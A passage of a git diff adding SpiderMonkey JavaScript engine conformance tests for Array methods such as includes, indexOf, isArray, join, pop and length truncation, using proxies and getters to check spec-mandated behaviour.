+assertTrue(staticIncludes({length: 3, 1: 2, get 3(){throw ""}}, 2));
+assertTrue(staticIncludes({length: 3, get 1() {return 2}}, 2));
+assertTrue(staticIncludes({__proto__: {1: 2}, length: 3}, 2));
+assertTrue(staticIncludes(new Proxy([1], {get(){return 2}}), 2));
+
+assertFalse([1, 2, 3].includes("2"));
+assertFalse([1, 2, 3].includes(2, 2));
+assertFalse([1, 2, 3].includes(2, -1));
+assertFalse([undefined].includes(NaN));
+assertFalse([{}].includes({}));
+assertFalse(staticIncludes({length: 3, 1: 2}, 2, 2));
+assertFalse(staticIncludes({length: 3, get 0(){delete this[1]}, 1: 2}, 2));
+assertFalse(staticIncludes({length: -100, 0: 1}, 1));
+
+assertThrowsInstanceOf(() => staticIncludes(), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(null), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({get length(){throw TypeError()}}), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({length: 3, get 1() {throw TypeError()}}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({__proto__: {get 1() {throw TypeError()}}, length: 3}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(new Proxy([1], {get(){throw TypeError()}})), TypeError);
+
+function assertTrue(v) {
+ assertEq(v, true);
+}
+
+function assertFalse(v) {
+ assertEq(v, false);
+}
+
+function staticIncludes(o, v, f) {
+ return [].includes.call(o, v, f);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/index-with-null-character.js b/js/src/tests/non262/Array/index-with-null-character.js
new file mode 100644
index 0000000000..51e71bc8a9
--- /dev/null
+++ b/js/src/tests/non262/Array/index-with-null-character.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var testArray = [1, 2, 3]
+assertEq(testArray['0' + '\0'], undefined);
+assertEq(testArray['1' + '\0' + 'aaaa'], undefined)
+assertEq(testArray['\0' + '2'], undefined);
+assertEq(testArray['\0' + ' 2'], undefined);
+
+testArray['\0'] = 'hello';
+testArray[' \0'] = 'world';
+assertEq(testArray['\0'], 'hello');
+assertEq(testArray[' \0'], 'world');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js b/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..0b39bf0a16
--- /dev/null
+++ b/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/indexOf-packed-array.js b/js/src/tests/non262/Array/indexOf-packed-array.js
new file mode 100644
index 0000000000..97c2da8855
--- /dev/null
+++ b/js/src/tests/non262/Array/indexOf-packed-array.js
@@ -0,0 +1,40 @@
+function makeArray(array) {
+ var log = [];
+ Object.setPrototypeOf(array, new Proxy(Array.prototype, new Proxy({
+ has(t, pk) {
+ log.push(`Has:${String(pk)}`);
+ return Reflect.has(t, pk);
+ },
+ }, {
+ get(t, pk, r) {
+ if (pk in t)
+ return Reflect.get(t, pk, r);
+ throw new Error(`Unexpected trap "${pk}" called`);
+ }
+ })));
+ return {array, log};
+}
+
+
+var {array, log} = makeArray([1, null, 3]);
+Array.prototype.indexOf.call(array, 100, {
+ valueOf() {
+ array.length = 0;
+ return 0;
+ }
+});
+assertEqArray(log, ["Has:0", "Has:1", "Has:2"]);
+
+
+var {array, log} = makeArray([5, undefined, 7]);
+Array.prototype.lastIndexOf.call(array, 100, {
+ valueOf() {
+ array.length = 0;
+ return 2;
+ }
+});
+assertEqArray(log, ["Has:2", "Has:1", "Has:0"]);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/isArray.js b/js/src/tests/non262/Array/isArray.js
new file mode 100644
index 0000000000..b752ad54e4
--- /dev/null
+++ b/js/src/tests/non262/Array/isArray.js
@@ -0,0 +1,67 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var global = this;
+var otherGlobal = newGlobal();
+
+var thisGlobal = () => global;
+var alternateGlobals = (function(i) {
+ return () => (i++ % 2) === 0 ? global : otherGlobal;
+})(0);
+
+function performTests(pickGlobal)
+{
+ // Base case.
+ assertEq(Array.isArray([]), true);
+
+ // Simple case: proxy to an array.
+ var proxy = new (pickGlobal()).Proxy([], {});
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revocable proxy to an array.
+ var revocable = (pickGlobal()).Proxy.revocable([], {});
+ proxy = revocable.proxy;
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in a revocable proxy to an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revoked proxy to (formerly) an array.
+ revocable.revoke();
+ assertThrowsInstanceOf(() => Array.isArray(revocable.proxy), TypeError);
+
+ // Recursive proxy ultimately terminating in a revoked proxy to an array.
+ assertThrowsInstanceOf(() => Array.isArray(proxy), TypeError);
+
+}
+
+performTests(thisGlobal);
+performTests(alternateGlobals);
+
+function crossGlobalTest()
+{
+ var array = new otherGlobal.Array();
+
+ // Array from another global.
+ assertEq(Array.isArray(array), true);
+
+ // Proxy to an array from another global.
+ assertEq(Array.isArray(new Proxy(array, {})), true);
+
+ // Other-global proxy to an array from that selfsame global.
+ assertEq(Array.isArray(new otherGlobal.Proxy(array, {})), true);
+}
+
+crossGlobalTest();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/iterator_edge_cases.js b/js/src/tests/non262/Array/iterator_edge_cases.js
new file mode 100644
index 0000000000..156aaba5f1
--- /dev/null
+++ b/js/src/tests/non262/Array/iterator_edge_cases.js
@@ -0,0 +1,50 @@
+// Test that we can't confuse %ArrayIteratorPrototype% for an
+// ArrayIterator object.
+function TestArrayIteratorPrototypeConfusion() {
+ var iter = [][Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible Array Iterator");
+ }
+}
+TestArrayIteratorPrototypeConfusion();
+
+// Tests that we can use %ArrayIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestArrayIteratorWrappers() {
+ var iter = [][Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('[5][Symbol.iterator]()')),
+ { value: 5, done: false })
+}
+if (typeof newGlobal === "function") {
+ TestArrayIteratorWrappers();
+}
+
+// Tests that calling |next| on an array iterator after iteration has finished
+// doesn't get the array's |length| property.
+function TestIteratorNextGetLength() {
+ var lengthCalledTimes = 0;
+ var array = {
+ __proto__: Array.prototype,
+ get length() {
+ lengthCalledTimes += 1;
+ return {
+ valueOf() {
+ return 0;
+ }
+ };
+ }
+ };
+ var it = array[Symbol.iterator]();
+ it.next();
+ it.next();
+ assertEq(1, lengthCalledTimes);
+}
+TestIteratorNextGetLength();
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/join-01.js b/js/src/tests/non262/Array/join-01.js
new file mode 100644
index 0000000000..3cc6cccd0d
--- /dev/null
+++ b/js/src/tests/non262/Array/join-01.js
@@ -0,0 +1,83 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+print("ES5: Array.prototype.join");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var stringifyCounter = { toString: function() { count++; return "obj"; } };
+
+var arr = [1, 2, 3, 4, 5];
+assertEq(arr.join(), "1,2,3,4,5");
+assertEq(arr.join(","), "1,2,3,4,5");
+assertEq(arr.join(undefined), "1,2,3,4,5");
+assertEq(arr.join(4), "142434445");
+assertEq(arr.join(""), "12345");
+
+count = 0;
+assertEq(arr.join(stringifyCounter), "1obj2obj3obj4obj5");
+assertEq(count, 1);
+
+var holey = [1, 2, , 4, 5];
+assertEq(holey.join(), "1,2,,4,5");
+assertEq(holey.join(","), "1,2,,4,5");
+assertEq(holey.join(undefined), "1,2,,4,5");
+assertEq(holey.join(4), "14244445");
+
+count = 0;
+assertEq(holey.join(stringifyCounter), "1obj2objobj4obj5");
+assertEq(count, 1);
+
+var nully = [1, 2, 3, null, 5];
+assertEq(nully.join(), "1,2,3,,5");
+assertEq(nully.join(","), "1,2,3,,5");
+assertEq(nully.join(undefined), "1,2,3,,5");
+assertEq(nully.join(4), "14243445");
+
+count = 0;
+assertEq(nully.join(stringifyCounter), "1obj2obj3objobj5");
+assertEq(count, 1);
+
+var undefiney = [1, undefined, 3, 4, 5];
+assertEq(undefiney.join(), "1,,3,4,5");
+assertEq(undefiney.join(","), "1,,3,4,5");
+assertEq(undefiney.join(undefined), "1,,3,4,5");
+assertEq(undefiney.join(4), "14434445");
+
+count = 0;
+assertEq(undefiney.join(stringifyCounter), "1objobj3obj4obj5");
+assertEq(count, 1);
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+var sep = {toString: function () { log += "S"; return "y"; }};
+assertEq(Array.prototype.join.call(arr, sep), "xyz");
+assertEq(log, "LS");
+
+var funky =
+ {
+ toString: function()
+ {
+ Array.prototype[1] = "chorp";
+ Object.prototype[3] = "fnord";
+ return "funky";
+ }
+ };
+var trailingHoles = [0, funky, /* 2 */, /* 3 */,];
+assertEq(trailingHoles.join(""), "0funkyfnord");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/join-no-has-trap.js b/js/src/tests/non262/Array/join-no-has-trap.js
new file mode 100644
index 0000000000..16b8cbedb1
--- /dev/null
+++ b/js/src/tests/non262/Array/join-no-has-trap.js
@@ -0,0 +1,36 @@
+// Test that Array.prototype.join doesn't call the [[HasProperty]] internal
+// method of objects.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length" ]);
+assertEq(result, "");
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length", "get:0" ]);
+assertEq(result, "1");
+
+log.length = 0;
+array.push(2);
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length", "get:0", "get:1" ]);
+assertEq(result, "1,2");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..296f87ec1f
--- /dev/null
+++ b/js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/length-01.js b/js/src/tests/non262/Array/length-01.js
new file mode 100644
index 0000000000..4fe81e2b6e
--- /dev/null
+++ b/js/src/tests/non262/Array/length-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600392;
+var summary =
+ 'Object.preventExtensions([]).length = 0 should do nothing, not throw';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+function testEmpty()
+{
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmpty();
+
+function testEmptyStrict()
+{
+ "use strict";
+ var a = [];
+ assertEq(a.length, 0);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 0);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testEmptyStrict();
+
+function testNonEmpty()
+{
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmpty();
+
+function testNonEmptyStrict()
+{
+ "use strict";
+ var a = [1, 2, 3];
+ assertEq(a.length, 3);
+ assertEq(Object.preventExtensions(a), a);
+ assertEq(a.length, 3);
+ a.length = 0;
+ assertEq(a.length, 0);
+}
+testNonEmptyStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js b/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js
new file mode 100644
index 0000000000..1d7fe32c8e
--- /dev/null
+++ b/js/src/tests/non262/Array/length-nonwritable-redefine-nop.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = "No-op array length redefinition";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr;
+
+// initializedLength == capacity == length
+// 6 == 6 == 6
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { writable: false });
+Object.defineProperty(arr, "length", { value: 6 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 6 });
+Object.defineProperty(arr, "length", { configurable: false, value: 6 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 6 });
+
+// initializedLength == capacity < length
+// 6 == 6 < 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity == length
+// 7 < 8 == 8
+arr = Object.defineProperty([0, 1, 2, 3, 4, 5, 6, /* hole */, ], "length",
+ { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+// initializedLength < capacity < length
+// 3 < 6 < 8
+arr = Object.defineProperty([0, 1, 2], "length", { value: 8, writable: false });
+Object.defineProperty(arr, "length", { value: 8 });
+Object.defineProperty(arr, "length", { writable: false });
+Object.defineProperty(arr, "length", { configurable: false });
+Object.defineProperty(arr, "length", { writable: false, configurable: false });
+Object.defineProperty(arr, "length", { writable: false, value: 8 });
+Object.defineProperty(arr, "length", { configurable: false, value: 8 });
+Object.defineProperty(arr, "length", { writable: false, configurable: false, value: 8 });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-set-object.js b/js/src/tests/non262/Array/length-set-object.js
new file mode 100644
index 0000000000..bf80b592ea
--- /dev/null
+++ b/js/src/tests/non262/Array/length-set-object.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657298;
+var summary = 'Various quirks of setting array length properties to objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function invokeConversionTwice1()
+{
+ var count = 0;
+ [].length = { valueOf: function() { count++; return 1; } };
+ assertEq(count, 2);
+}
+invokeConversionTwice1();
+
+function invokeConversionTwice2()
+{
+ var count = 0;
+ [].length = { toString: function() { count++; return 1; }, valueOf: null };
+ assertEq(count, 2);
+}
+invokeConversionTwice2();
+
+function dontOverwriteError1()
+{
+ try
+ {
+ [].length = { valueOf: {}, toString: {} };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected a TypeError running out of conversion options, got " + e);
+ }
+}
+dontOverwriteError1();
+
+function dontOverwriteError2()
+{
+ try
+ {
+ [].length = { valueOf: function() { throw "error"; } };
+ throw new Error("didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e, "error", "expected 'error' from failed conversion, got " + e);
+ }
+}
+dontOverwriteError2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js b/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js
new file mode 100644
index 0000000000..a51fd40898
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js
@@ -0,0 +1,110 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function addDataProperty(obj, prop, value, enumerable, configurable, writable)
+{
+ var desc =
+ { enumerable: enumerable,
+ configurable: configurable,
+ writable: writable,
+ value: value };
+ Object.defineProperty(obj, prop, desc);
+}
+
+function nonstrict()
+{
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ // Truncate...but only as far as possible.
+ arr.length = 1;
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+nonstrict();
+
+function strict()
+{
+ "use strict";
+
+ var arr = [0, , 2, , , 5];
+
+ addDataProperty(arr, 31415926, "foo", true, true, true);
+ addDataProperty(arr, 123456789, "bar", true, true, false);
+ addDataProperty(arr, 8675309, "qux", false, true, true);
+ addDataProperty(arr, 1735039, "eit", false, true, false);
+ addDataProperty(arr, 987654321, "fun", false, true, false);
+
+ // non-array indexes to spice things up
+ addDataProperty(arr, "foopy", "sdfsd", false, false, false);
+ addDataProperty(arr, 4294967296, "psych", true, false, false);
+ addDataProperty(arr, 4294967295, "psych", true, false, false);
+
+ addDataProperty(arr, 27182818, "eep", false, false, false);
+
+ try
+ {
+ arr.length = 1;
+ throw new Error("didn't throw?!");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "non-configurable property should trigger TypeError, got " + e);
+ }
+
+ assertEq(arr.length, 27182819);
+
+ var props = Object.getOwnPropertyNames(arr).sort();
+ var expected =
+ ["0", "2", "5", "1735039", "8675309", "27182818",
+ "foopy", "4294967296", "4294967295", "length"].sort();
+
+ assertEq(props.length, expected.length);
+ for (var i = 0; i < props.length; i++)
+ assertEq(props[i], expected[i], "unexpected property: " + props[i]);
+}
+strict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-truncate-nonconfigurable.js b/js/src/tests/non262/Array/length-truncate-nonconfigurable.js
new file mode 100644
index 0000000000..e9a66fe0ac
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-nonconfigurable.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length redefinition behavior with non-configurable elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2];
+Object.defineProperty(arr, 1, { configurable: false });
+
+try
+{
+ Object.defineProperty(arr, "length", { value: 0, writable: false });
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "must throw TypeError when array truncation would have to remove " +
+ "non-configurable elements");
+}
+
+assertEq(arr.length, 2, "length is highest remaining index plus one");
+
+var desc = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(desc !== undefined, true);
+
+assertEq(desc.value, 2);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/length-truncate-with-indexed.js b/js/src/tests/non262/Array/length-truncate-with-indexed.js
new file mode 100644
index 0000000000..9e4da812aa
--- /dev/null
+++ b/js/src/tests/non262/Array/length-truncate-with-indexed.js
@@ -0,0 +1,101 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary =
+ "Array length setting/truncating with non-dense, indexed elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testTruncateDenseAndSparse()
+{
+ var arr;
+
+ // initialized length 16, capacity same
+ arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element and half the dense elements, shrink capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparse();
+
+function testTruncateSparse()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, leave initialized length/capacity unchanged
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparse();
+
+function testTruncateDenseAndSparseShrinkCapacity()
+{
+ // initialized length 11, capacity...somewhat larger, likely 16
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
+
+ // plus a sparse element
+ arr[987654321] = 987654321;
+
+ // lop off the sparse element, reduce initialized length, reduce capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateDenseAndSparseShrinkCapacity();
+
+function testTruncateSparseShrinkCapacity()
+{
+ // initialized length 8, capacity same
+ var arr = [0, 1, 2, 3, 4, 5, 6, 7];
+
+ // capacity expands to accommodate, initialized length remains same (not equal
+ // to capacity or length)
+ arr[15] = 15;
+
+ // now no elements past initialized length
+ delete arr[15];
+
+ // ...except a sparse element
+ arr[987654321] = 987654321;
+
+ // trims sparse element, doesn't change initialized length, shrinks capacity
+ arr.length = 8;
+
+ assertEq(987654321 in arr, false);
+ assertEq(arr[987654321], undefined);
+ assertEq(arr.length, 8);
+}
+testTruncateSparseShrinkCapacity();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/pop-empty-nonwritable.js b/js/src/tests/non262/Array/pop-empty-nonwritable.js
new file mode 100644
index 0000000000..f42ca98f5c
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-empty-nonwritable.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858381;
+var summary = 'Object.freeze([]).pop() must throw a TypeError';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Object.freeze([]).pop();
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/pop-no-has-trap.js b/js/src/tests/non262/Array/pop-no-has-trap.js
new file mode 100644
index 0000000000..11bb93ddd0
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-no-has-trap.js
@@ -0,0 +1,58 @@
+// Test that Array.prototype.pop doesn't call the [[HasProperty]] internal
+// method of objects when retrieving the element at the last index.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, undefined);
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0", "deleteProperty:0",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 1);
+
+log.length = 0;
+array.push(2, 3);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:1", "deleteProperty:1",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 3);
+
+log.length = 0;
+array.push(4, 5);
+
+result = Array.prototype.pop.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:2", "deleteProperty:2",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/pop-nonarray-higher-elements.js b/js/src/tests/non262/Array/pop-nonarray-higher-elements.js
new file mode 100644
index 0000000000..052eb4230f
--- /dev/null
+++ b/js/src/tests/non262/Array/pop-nonarray-higher-elements.js
@@ -0,0 +1,91 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 909602;
+var summary =
+ "Array.prototype.pop shouldn't touch elements greater than length on " +
+ "non-arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function doTest(obj, index)
+{
+ // print("testing " + JSON.stringify(obj) + " with index " + index);
+ assertEq(Array.prototype.pop.call(obj), undefined);
+ assertEq(index in obj, true);
+ assertEq(obj[index], 42);
+}
+
+// not-super-much-later element
+
+// non-zero length
+function testPop1()
+{
+ var obj = { length: 2, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop1();
+
+// zero length
+function testPop2()
+{
+ var obj = { length: 0, 3: 42 };
+ doTest(obj, 3);
+}
+for (var i = 0; i < 50; i++)
+ testPop2();
+
+// much-later (but dense) element
+
+// non-zero length
+function testPop3()
+{
+ var obj = { length: 2, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop3();
+
+// zero length
+function testPop4()
+{
+ var obj = { length: 0, 55: 42 };
+ doTest(obj, 55);
+}
+for (var i = 0; i < 50; i++)
+ testPop4();
+
+// much much much later (sparse) element
+
+// non-zero length
+function testPop5()
+{
+ var obj = { length: 2, 65530: 42 };
+ doTest(obj, 65530);
+}
+for (var i = 0; i < 50; i++)
+ testPop5();
+
+// zero length
+function testPop6()
